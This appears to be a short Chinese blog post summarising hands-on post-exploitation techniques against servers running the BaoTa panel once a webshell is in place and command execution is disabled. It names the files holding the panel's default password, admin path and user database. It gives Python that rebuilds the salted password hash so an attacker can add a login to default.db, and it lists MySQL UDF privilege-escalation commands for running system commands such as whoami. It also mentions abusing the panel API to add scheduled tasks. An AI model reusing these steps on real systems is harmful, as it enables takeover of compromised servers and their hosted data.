实战中遇到的总结下
注:这里的环境是已经拿到了webshell,只是disable_function限制了不能执行命令
1. 获取宝塔后台权限
一般是直接找初始密码,默认在宝塔安装目录下的/panel/data/default.pl
中
宝塔后台地址在宝塔安装目录下的/panel/data/admin_path.pl
中
宝塔的数据库在宝塔安装目录下的/panel/data/default.db
中,其中包含用户名、盐、加盐的密码等
如果初始密码已经被修改,可以通过修改default.db添加用户来登录宝塔面板
import hashlib
def md5(content):
d = hashlib.md5()
d.update(content.encode('utf-8'))
return d.hexdigest()
pwd = 'pwd_xx'
salt = 'salt_xx'
print(md5(md5(md5(pwd) + '_bt.cn') + salt))
后续操作不用多说了
2. UDF提权
- 当MySQL版本<5.1时,将dll文件放至
C:\windows
或C:\windows\system32
目录下。 - 当MySQL版本>5.1时,将dll文件导入到MYSQL安装目录的
\lib\plugin
目录下(若该目录默认不存在,则自行创建)
这里mysql就在宝塔安装目录下,所以放置到其下的插件目录就行了,然后就是引入函数执行命令了
show variables like '%plugin%';
CREATE FUNCTION hello RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
select * from mysql.func;
select hello('whoami');
3. 其他
还有通过修改宝塔config/api.json
开启宝塔API来添加定时任务等方式来拿权限
评论已关闭